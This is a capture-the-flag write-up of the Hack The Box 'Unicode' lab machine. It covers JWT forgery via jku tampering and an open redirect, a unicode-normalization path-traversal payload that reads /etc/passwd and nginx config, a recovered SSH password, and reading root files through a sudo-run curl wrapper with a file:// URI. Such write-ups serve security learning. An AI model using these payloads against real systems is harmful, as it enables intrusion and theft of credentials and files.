← back to blog // article

HTB : Unicode

My second medium box of the week is Unicode !

The enumeration stage

We start with a simple nmap scan

  • -sC : To use the default script from NSE

  • -sV : To enumerate the service version for the opened ports

  • -oA **** : To store scan results in normal, XML, and grepable formats at once.

The result:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 10:56 CEST
Nmap scan report for unicode.htb (10.10.11.126)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: 503
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds

Let’s check the website on 80/TCP :

The HTTP server limits my request rate so brute forcing directories and virtual hosts wasn’t successful, nikto didn’t work neither

So I run gospider and I continued to explore the site manually. Finally I found the following paths:

/login
/register
/upload
/redirect (/redirect/?url=google.com)
/internal
/purchase_done
/checkout
/unauth_error
/display
/pricing
/logout
/debug
/dashboard

We can register an new account and login

Register

Login

Dashboard

We have access to a customer dashboard

It seems that after login, the site assigns us a JWT in the cookies, we can decode it in https://jwt.io/

I noticed a “jku” in the header section, refering to HackTricks :

jku stands for JWK Set URL. If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

So I downloaded the jwks.json and started a new http server to serve the file

Then I created my own key pair

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

And I used these keys to forge my own token, tampering the jku header and the user payload

I didn’t succeed to pass directly my server url to the jku, so I used the redirect feature from the website

Now we can try to use this new token and we receive a connection from the victim fetching the jwks.json on our server

But actually we serve the original jwks.json and it’s value doesn’t match our keys, so let’s modify it:

We have to tamper 2 values:

  • n : The modulus is the product of two prime numbers used to generate the key pair

  • e : the public exponent is the exponent used on signed / encoded data to decode the original value.

With a simple python script we can retrieve both values from our public key, then they need to be Base64urlUInt-encoded before being set in the JWKS.json

# https://www.pycryptodome.org/en/latest/src/public_key/rsa.html#Crypto.PublicKey.RSA.import_key
from Crypto.PublicKey import RSA
# https://stackoverflow.com/questions/30784217/get-the-big-endian-byte-sequence-of-integer-in-python
from jwkest import long_to_base64 
f = open('publickey.crt', 'rb')
key = RSA.import_key(f.read())
f.close()
print("n:", long_to_base64(key.n))
print("e:", long_to_base64(key.e))

Change the modulus (n) and the exponent (e) in the jwks.json and try to login again

And we have access to the admin dashboard

The exploitation stage

By clicking on “Current month” button in the sidebar we are redirected on a url where the query parameter “page” is vulnerable to a LFI

But the request is filtered

To bypass this filter we can take inspiration from the boxe name and try to exploit a unicode normalization vulnerability

For the file path, instead of using ../ in my request I use ..%EF%BC%8F and my final request looks like:

http://unicode.htb/display/?page=..%EF%BC%8F..%EF%BC%8F..%EF%BC%8F..%EF%BC%8Fetc/passwd

Using Burp Suite for more versatility

The LFI is confirmed

I know from my nmap scans and wappalyzer that the web server is nginx, we can try to take a look at the default site available in the configuration : /etc/nginx/sites-available/default

Bingo !

We learn that a “code” user have a db.yaml file in his home directory and probably contain credentials

After searching a little bit i found it in /home/code/coder/db.yaml

And we can now ssh into the target as “code” using the password : “B3stC0d3r2021@@!”

The privilege escalation stage

Using sudo -l we can list which programs our user is able to run as root

code@code:~/coder$ sudo -l
Matching Defaults entries for code on code:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
 (root) NOPASSWD: /usr/bin/treport

We can run /usr/bin/treport as root

code@code:~/coder$ sudo treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:10.10.16.3/fake
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
curl: (7) Failed to connect to 10.10.16.3 port 80: Connection refused

We have the possibility to download a file by giving a IP/file_nameargument.

I tried with a non existing IP/file_name combination and we can see in the error message that treport use curl under the hood.

I know that curl can accept file URI scheme instead of the classic http request :

Enter your choice:3
Enter the IP/file_name:File:///root/root.txt
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 33 100 33 0 0 33000 0 --:--:-- --:--:-- --:--:-- 33000
Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_13_08_07 threat_report_13_27_47 threat_report_13_44_34

Enter the filename:threat_report_13_44_34
e1bc562978bf652837cd390988cd3441

It managed to download the file and we can display the content of the report with option 2.

And we have the root flag !

Thanks for reading